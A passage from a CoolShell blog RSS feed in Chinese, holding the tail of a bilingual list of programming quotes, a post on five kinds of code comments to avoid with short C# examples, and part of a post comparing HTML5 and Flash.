unknown</p>\n<p>管理程序员就如同养一群猫一样 &#8211;匿名</p></blockquote>\n<blockquote><p>Measuring programming progress by lines of code is like measuring aircraft building progress by weight.   &#8212; Bill Gates, co-founder of Microsoft Corporation</p>\n<p>用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样。——Bill Gates，微软创始人</p></blockquote>\n<blockquote><p>More good code has been written in languages denounced as bad than in languages proclaimed wonderful &#8212; much more.   &#8212; Bjarne Stroustrup, from The Design and Evolution of C++</p>\n<p>更多的优秀代码是用被认为很烂的语言写成的，而不是用那些被说的好的不得了的语言。——Bjarne Stroustrup, 摘自《The Design and Evolution of C++》</p></blockquote>\n<blockquote><p>Programs must be written for people to read, and only incidentally for machines to execute.   &#8212; Harold Abelson and Gerald Jay Sussman, computer scientists and authors, from The Structure and Interpretation of Computer Programs</p>\n<p>代码应该是写给其他人来读的，而能让机器运行的仅仅是附带着的。——　Harold Abelson 与 Gerald Jay Sussman, 计算机科学家和作家，摘自《The Structure and Interpretation of Computer Programs》</p></blockquote>\n<blockquote><p>Real programmers don&#8217;t comment their code. If it was hard to write, it should be hard to understand.   &#8212; unknown</p>\n<p>真正程序员从来不写代码的注释，如果代码非常难写，那么同样代码的注释也会非常难懂 &#8211;匿名</p></blockquote>\n<blockquote><p>Simplicity is prerequisite for reliability.   &#8212; Edsger Dijkstra</p>\n<p>简单是可靠的前提条件 &#8212; 迪杰斯特拉</p></blockquote>\n<blockquote><p>The C programming language &#8212; a language which combines the flexibility of assembly language with the power of assembly language.   &#8212; unknown</p>\n<p>C语言—— 一门同时具有了汇编语言灵活性和汇编语言强大能力的语言。&#8211; 匿名</p></blockquote>\n<blockquote><p>The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time.   &#8212; Tom Cargill, object-oriented programming expert at Bell Labs</p>\n<p>开始的90%的代码用了90%的开发时间，而剩下的最后的10%的代码会需要另外90%的开发时间。&#8211; Tom Cargill,贝尔实验室的面向对象编程专家。</p></blockquote>\n<blockquote><p>The important point is that the cost of adding a feature isn&#8217;t just the time it takes to code it. The cost also includes the addition of an obstacle to future expansion. Sure, any given feature list can be implemented, given enough coding time. But in addition to coming out late, you will usually wind up with a codebase that is so fragile that new ideas that should be dead-simple wind up taking longer and longer to work into the tangled existing web. The trick is to pick the features that don&#8217;t fight each other.   &#8212; John Carmack, computer game programmer</p>\n<p>增加一个功能特性的成本并不单单是为这些功能编码所花费时间的成本，还这个成本应该包括特性扩展的障碍成本。当然，任何的功能清单都可以被实现，只需要有足够的时间。但是除些之外，你应该对你的代码库的脆弱性感到紧张，而那些新的想法应该足够的简单，而不是去花费更多更多的时间去纠缠于现有的蜘蛛网。这里的决窃是挑选那些不会和别人冲突的的功能。</p></blockquote>\n<blockquote><p>The key to performance is elegance, not battalions of special cases. The terrible temptation to tweak should be resisted unless the payoff is really noticeable.   &#8212; Jon Bently and M. Douglas McIlroy, both computer scientists at Bell Labs</p>\n<p>表现的关键是精美和典雅的，并不是使用大量的特殊案例。对于任何调整的冲动都应该是被限制的，除非其回报真的是值得注意的。&#8211; Jon Bently and M. Douglas McIlroy,  二者都是贝尔试验实的计算机科学家</p></blockquote>\n<blockquote><p>The last good thing written in C was Franz Schubert&#8217;s Symphony Number 9.   &#8212; Erwin Dieterich, programmer<br />\n最后一件用C做的好作品就是弗朗茨.舒伯特的C大调第9交响曲 &#8212; Erwin Dieterich, programmer程序员</p></blockquote>\n<blockquote><p>The problem with using C++ &#8230; is that there&#8217;s already a strong tendency in the language to require you to know everything before you can do anything.   &#8212; Larry Wall, developer of the Perl language</p>\n<p>使用C++最大的问题是..在C++语言里，存在这一种很强的趋势，就是如果你不明白C++语言的细节，你就无法做好任何事情。&#8211; Larry Wall, developer of the Perl language</p></blockquote>\n<blockquote><p>The sooner you start to code, the longer the program will take.   &#8212; Roy Carlson, University of Wisconsin</p>\n<p>你越早开始都手编码，你所花费来编程的时间就越长 &#8212; Roy Carlson, University of Wisconsin</p></blockquote>\n<blockquote><p>The value of a prototype is in the education it gives you, not in the code itself.   &#8212; Alan Cooper, software author, from The Inmates are Running the Asylum</p>\n<p>原型的价值在于他给你的教训，而不是代码自身 &#8212; Alan Cooper, software author, from The Inmates are Running the Asylum</p></blockquote>\n<blockquote><p>There are only two kinds of programming languages: those people always bitch about and those nobody uses.   &#8212; Bjarne Stroustrup</p>\n<p>世界上只有两类编程语言：人们都抱怨的语言和从来没有人使用的语言 &#8212; Bjarne Stroustrup</p></blockquote>\n<blockquote><p>There are two ways of constructing a software design. One way is to make it so simple that there are obviously no deficiencies. And the other way is to make it so complicated that there are no obvious deficiencies.   &#8212; Charles Antony Richard Hoare</p>\n<p>世界上有两个设计软件的方法，一种方法是设计的尽量简单，以至于明显的没有什么缺陷，另外一种方式是使他尽量的复杂，以至于其缺陷不那么明显。</p></blockquote>\n<blockquote><p>Ugly programs are like ugly suspension bridges: they&#8217;re much more liable to collapse than pretty ones, because the way humans (especially engineer-humans) perceive beauty is intimately related to our ability to process and understand complexity. A language that makes it hard to write elegant code makes it hard to write good code.   &#8212; Eric S. Raymond</p>\n<p>丑陋的程序就像一座丑陋的吊桥：他们相比漂亮的良好的吊桥起来，更有可能会坍塌，这是因为人类（尤其是工程师）感知漂亮的东西是和我们处理和理解复杂问题的能力相关的。所以，一个程序语言如果很难以优雅地方式编程，那么其就很难写出好的代码。</p></blockquote>\n<blockquote><p>Weeks of programming can save you hours of planning.   &#8212; unknown</p>\n<p>多做几周的编程可以节省你做计划的时间 —— 匿名 （意思为，只有实践过了，你才更容易做计划，没有实践过，做起计划来将会很头痛）</p></blockquote>\n<blockquote><p>When a programming language is created that allows programmers to program in simple English, it will be discovered that programmers cannot speak English.   &#8212; unknown</p>\n<p>当程序语言被设计成允许程序以很简单的英语来编程的时候，人们将会发现编写程序的程序员都来自不会说英语的地方。 &#8211;匿名</p></blockquote>\n<p>（全文完，翻译水平有限，如果有误，还请批评指正！）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2753.html\">最佳编程语录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2753.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>41</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>五种应该避免的代码注释</title>\n\t\t<link>https://coolshell.cn/articles/2746.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2746.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 28 Jul 2010 00:48:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[注释]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2746</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在酷壳，有很多文章都提到了代码注释，如：《十条不错的编程观点》、《优质代码的十诫》、《整洁代码的4个提示》、《惹恼程序员的十件事》等等。今天，某国外的程序员在这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2746.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2746.html\">五种应该避免的代码注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在酷壳，有很多文章都提到了代码注释，如：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1007.html\" target=\"_blank\">优质代码的十诫</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1095.html\" target=\"_blank\">整洁代码的4个提示</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/340.html\" target=\"_blank\">惹恼程序员的十件事</a>》等等。今天，某国外的程序员在<a href=\"http://repeatgeek.com/career/5-types-of-comments-to-avoid-making-in-your-code/\" target=\"_blank\"><strong>这里</strong></a>列举五种应该避免的程序注释，我觉得比较有道理，但我觉得有少数几个观点也并不绝对。所以，我把原文的这五种应该避免的程序注释罗列在下面，并放上原作者和我的个人观点作为比较。希望对大家有用。</p>\n<h3>一、自恋型注释</h3>\n<p>（注：原文为Proud，我觉得“自恋”更好一点）</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        string message = &quot;Hello World!&quot;;  // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n        message = &quot;I am so proud of this code!&quot;; // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n    }\n}</pre>\n<p><strong>原文</strong>：这样的程序员对于自己的代码改动非常骄傲和自恋，所以，他觉得需在在这些自己的代码上标上自己的名字。其实，一个版本控制工具（如：CVS或Subversion）可以完整地记录下所有的关于代码的改动的和作者相关的一切信息，只不过不是那么明显罢了。</p>\n<p><strong>陈皓</strong>：我同意原文的观点。在我的团队里也有这样的事情发生。有段时间我认真思考过这样的事情，是否应该把这样的事情在代码中铲除出去。后来，我觉得，允许这样的行为并不一定是坏事，因为两点：</p>\n<p><span id=\"more-2746\"></span></p>\n<ol>\n<li>调动程序员下属的积极性可能更为重要。即然，这种方式可以让程序员有骄傲的感觉，能在写代码中找到成就感，为什么要阻止呢？又不是什么大问题。</li>\n<li>调动程序员的负责任的态度。程序员敢把自己的名字放在代码里，说明他对这些代码的信心，是想向大家展示其才能。所以，他当然知道，如果这段他加入的代码有问题的话，他的声誉必然受到损失，所以，他敢这么干，也就表明他敢于对自己的代码全面的负责。这不正是我们所需要的？！</li>\n</ol>\n<p>所以，基于上述考虑，我个人认为，<strong>从代码的技术角度上来说，这样的注释很不好。但从团队的激励和管理上来说，这样的方式可能也挺好的</strong>。所以，我并不阻止也不鼓励这样的注释。关键在于其是否能有更好的结果。</p>\n<h3>二、废弃代码的注释</h3>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        /* This block of code is no longer needed\n         * because we found out that Y2K was a hoax\n         * and our systems did not roll over to 1/1/1900 */\n        //DateTime today = DateTime.Today;\n        //if (today == new DateTime(1900, 1, 1))\n        //{\n        //    today = today.AddYears(100);\n        //    string message = &quot;The date has been fixed for Y2K.&quot;;\n        //    Console.WriteLine(message);\n        //}\n    }\n}</pre>\n<p><strong>原文</strong>：如果某段代码不再使用了，那就应该直接删除。我们不应该使用注释来标准废弃的代码。同样，我们有版本控制工具来管理我们的源代码，在版本控制工具里，是不可能有代码能被真正的物理删除的。所以，你总是可以从以前的版本上找回你的代码的。</p>\n<p><strong>陈皓</strong>：我非常同意这样的观点。只要你是废弃的，就应该是删除，而不是注释掉。注释并不是用来删除代码的。也许你会争论到，在迭代开发中，你觉得被注释的代码很有可能在未来会被使用，但现在因为种种问题暂时用不到，所以，你先注释着，然后等到某一天再enable它。所以你注释掉一些未来会有的程序。在这样的情况，你可以注释掉这段代码，但你要明白，这段代码不是“废弃”的，而是“临时”不用的。所以，我在这里提醒你，请不要教条式地在你的程序源码中杜绝这样的注释形式，是否“废弃”是其关键。</p>\n<h3>三、明显的注释</h3>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n        /* This is a for loop that prints the\n         * words &quot;I Rule!&quot; to the console screen\n         * 1 million times, each on its own line. It\n         * accomplishes this by starting at 0 and\n         * incrementing by 1. If the value of the\n         * counter equals 1 million the for loop\n         * stops executing.*/\n        for (int i = 0; i &lt; 1000000; i++)\n        {\n            Console.WriteLine(&quot;I Rule!&quot;);\n        }\n    }\n}</pre>\n<p><strong>原文</strong>：看看上面的例子，代码比注释还容易读。是的，大家都是程序员，对于一些简单的，显而易见的程序逻辑，不需要注释的。而且，你不需要在你的注释中教别人怎么编程，你这是在浪费时间去解释那些显而易见的东西。你应该用注释去解释你的代码功能，原因，想法，而不是代码本身。</p>\n<p><strong>陈皓</strong>：非常同意。最理解的情况是你的代码写得直接易读，代码本身就是自解释的，根本不需要注释。这是最高境界。注释应该说明下面的代码主要完成什么样的功能，为什么需要他，其主要算法怎么设计的，等等。而不是解释代码是怎么工作的。这点很多新手程序员都做得不够好。别外，我需要指出的是，代码注释不宜过多，如果太多的话，你应该去写文档，而不是写注释了。</p>\n<h3>四、故事型注释</h3>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n       /* I discussed with Jim from Sales over coffee\n        * at the Starbucks on main street one day and he\n        * told me that Sales Reps receive commission\n        * based upon the following structure.\n        * Friday: 25%\n        * Wednesday: 15%\n        * All Other Days: 5%\n        * Did I mention that I ordered the Caramel Latte with\n        * a double shot of Espresso?\n       */\n        double price = 5.00;\n        double commissionRate;\n        double commission;\n        if (DateTime.Today.DayOfWeek == DayOfWeek.Friday)\n        {\n            commissionRate = .25;\n        }\n        else if (DateTime.Today.DayOfWeek == DayOfWeek.Wednesday)\n        {\n            commissionRate = .15;\n        }\n        else\n        {\n            commissionRate = .05;\n        }\n        commission = price * commissionRate;\n    }\n}</pre>\n<p><strong>原文</strong>：如果你不得不在你的代码注释中提及需求，那也不应该提及人名。在上面的示例中，好像程序想要告诉其它程序员，下面那些代码的典故来自销售部的Jim，如果有不懂的，你可以去问他。其实，这根本没有必要在注释中提到一些和代码不相干的事。</p>\n<p><strong>陈皓</strong>：太同意了。这里仅仅是代码，不要在代码中掺入别的和代码不相干的事。这里你也许会有以下的争辩：</p>\n<ol>\n<li>有时候，那些所谓的“高手”逼着我这么干，所以，我要把他的名字放在这里让所有人看看他有多SB。</li>\n<li>有时候，我对需求并不了解，我们应该放一个联系人在在这里，以便你可以去询问之。</li>\n</ol>\n<p>对于第一点，我觉得这是一种情绪化。如果你的上级提出一些很SB的想法，我觉得你应该做的是努力去和他沟通，说明你的想法。如果这样都不行的话，你应该让你的经理或是那个高手很正式地把他的想法和方案写在文档里或是电子邮件里，然后，你去执行。这样，当出现问题的时候，你可以用他的文档和邮件作为你的免责证据，而不是在代码里干这些事。</p>\n<p>对于第二点，这些需求的联系人应该是在需求文档中，如果有人有一天给你提了一个需求，你应该把其写在你的需求文档中，而不是你的代码里。要学会使用流程来管理你的工作，而不是用注释。</p>\n<p>最后，关于故事型的注释，我需要指出也有例外的情况，我们团队中有人写注释喜欢在注释或文档里写一些名人名言（如 <a rel=\"bookmark\" href=\"https://coolshell.cn/articles/808.html\" target=\"_blank\">22条经典的编程引言</a>，<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1212.html\" target=\"_blank\">编程引言补充</a>，<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1278.html\" target=\"_blank\">Linus Torvalds 语录  Top 10</a> ），甚至写一些小笑话，幽默的短句。我并不鼓励这么做，但如果这样有利于培养团队文化，有利于让大家对工作更感兴趣，有利于大家在一种轻松愉快的环境下读/写代码，那不也是挺好的事吗？</p>\n<p>另外，做为一个管理者，有时候我们应该去看看程序员的注释，因为那里面可能会有程序员最直实的想法和情绪（<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">程序员嘴最脏??</a>）。了解了他们的想法有利于你的管理。</p>\n<h3>五、“TODO”注释</h3>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n       //TODO: I need to fix this someday – 07/24/1995 Bob\n       /* I know this error message is hard coded and\n        * I am relying on a Contains function, but\n        * someday I will make this code print a\n        * meaningful error message and exit gracefully.\n        * I just don’t have the time right now.\n       */\n       string message = &quot;An error has occurred&quot;;\n       if(message.Contains(&quot;error&quot;))\n       {\n           throw new Exception(message);\n       }\n    }\n}</pre>\n<p><strong>原文</strong>：当你在初始化一个项目的时候，TODO注释是非常有用的。但是，如果这样的注释在你的产品源码中出现了N多年，那就有问题了。如果有BUG要被fix，那就Fix吧，没有必要整一个TODO。</p>\n<p><strong>陈皓</strong>：是的，TODO是一个好的标志仅当存在于还未release的项目中，如果你的软件产品都release了，你的代码里还有TODO，这个就不对了。也许你会争辩说，那是你下一个版本要干的事。OK，那你应该使用项目管理，或是需求管理来管理你下一个版本要干的事，而不是使用代码注释。通常，在项目release的前夕，你应该走查一下你代码中的TODO标志，并且做出决定，是马上做，还是以后做。如果是以后做，那么，你应该使用项目管理或需求管理的流程。</p>\n<p>上述是你应该避免使用的注释，以及我个人的一些观点，也欢迎你留下你的观点！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2746.html\">五种应该避免的代码注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2746.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTML5 和 Flash 之争</title>\n\t\t<link>https://coolshell.cn/articles/2735.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2735.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Tue, 27 Jul 2010 00:00:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2735</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源 二者之间的竞争会演变成为一场“战争”吗？（现在甚至出现了可以把Flash转成Javascript/HTML5的工具） 首先需要弄清楚二者之间最主要的区...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2735.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2735.html\">HTML5 和 Flash 之争</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><a href=\"http://html5.tomasdev.com.ar/\">文章来源</a></em></p>\n<p>二者之间的竞争会演变成为一场“战争”吗？（现在甚至出现了可以<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2497.html\" target=\"_blank\">把Flash转成Javascript/HTML5</a>的工具）</p>\n<p>首先需要弄清楚二者之间最主要的区别，HTML 是一种语言（超文本标记语言 &#8211; HyperText Markup Language），而 Flash 是 Adobe（其收购了Macromedia）公司的一个浏览器插件（Plugin）。HTML5 目前还是 W3.org 规范中一个草案，这意味着其还没有最终定案，希望到 2012 年这项工作能够完成。</p>\n<p>以下是二者各自的一些特点：</p>\n<h4><strong>HTML5</strong></h4>\n<p>这个新的技术更为易学和易用，比较 .FLA 和 .SWF 文件更容易编辑。并且基本上过去所有由 Flash 才能制作的动画效果都能够使用 JS + HTML5 + CSS 3 来完成，不过工作量可能会更大一些，不仅文件尺寸会增大，性能方面也会有影响。</p>\n<p>以前为 Web 表单设定风格我们一定需要使用到 JavaScript， 但是 HTML5 中的 contenteditable 属性让我们可以做得更多。一些新的输入类型（Types of Inputs）也被加入到 HTML5 中，如：电子邮件，数字，值范围等等。</p>\n<p>用户不仅仅需要一个支持 HTML5 的浏览器，还需要 CCS 3 和新的 JavaScript 引擎的支持。</p>\n<p>免费（不包括第三方字体和音频视频等等）</p>\n<p>更好地移动设备支持（HTML5 正在被运用于 iPhone，iPod，iPad 和 Android 应用的开发）</p>\n<p>拖拽，事实上这不是 HTML5 的一部分，但是在新版本的 GMail 中，从桌面拖拽文件到浏览器能够用 HTML5 很好地实现。对于 Flash 我不知道这是否可以实现？</p>\n<p><span id=\"more-2735\"></span></p>\n<h4><strong>Flash</strong></h4>\n<p>文件经过压缩，所以文件尺寸会比 HTML5 + CSS + JavaScript + 图像 + 其他 小。</p>\n<p>硬件优化</p>\n<p>需要安装 Flash 插件， Android 2.2（代号 FroYo）同样支持 Flash 插件。</p>\n<p>Adobe 在它的 Creative Suite 5 中包含了 Flash Builder 4.0。</p>\n<p>也许对很多人来说，相对于 HTML + JavaScript + CSS，Flash 应用 更难于“破解”。</p>\n<p>以下是一些 Flash 能够实现而 HTML5 + JavaScript + CSS 3 不能的功能：</p>\n<ul>\n<li>增强现实（Augmented Reality）</li>\n<li>3D</li>\n<li>真正的面向对象，而非原型（Prototyping）</li>\n<li>对麦克风和摄像头的支持（事实上 HTML5 已经宣布要提供这些支持）</li>\n<li>混色模式（如：渐进色，重叠色等等）</li>\n<li>Action Message Format （AMF）</li>\n<li>二进制数据（Binary Data）</li>\n<li>位图数据（BitMapData，HTML5 的画布 Canvas 和矢量标记语言 VML 可以实现近似的功能）</li>\n<li>图形处理器的利用（Use of GPU）</li>\n</ul>\n<h4>结论</h4>\n<p>HTML5 是一项新技术，很多人会想要尝试它，而 Flash 业已存在很久，并且还将会有很长的生命周期。HTML5 短期内无法完全替代 Flash，而 Flash 可以作为 HTML5 的一个很好的补充。</p>\n<h4>HTML5 相关的一些链接</h4>\n<ul>\n<li><a href=\"http://html5test.com/\">HTML5 Browser Compatibility Test</a></li>\n<li><a href=\"http://www.apple.com/html5/\">HTML5 by Apple</a></li>\n<li><a href=\"http://html5demos.com/\">HTML5 Demos</a></li>\n<li><a href=\"http://www.html5rocks.com/\">HTML5 Rocks</a></li>\n<li><a href=\"http://html5watch.tumblr.com/\">HTML5 Watch</a>, not necessarily HMTL5 but interesting applies of JS like the Google Pacman</li>\n<li><a href=\"http://www.chromeexperiments.com/\">Chrome Experiments</a></li>\n<li><a href=\"http://www.webhostingsecretrevealed.com/featured-articles/learn-html5-10-must-read-lessons/\">Learn HTML5: 10 must read lessons</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul 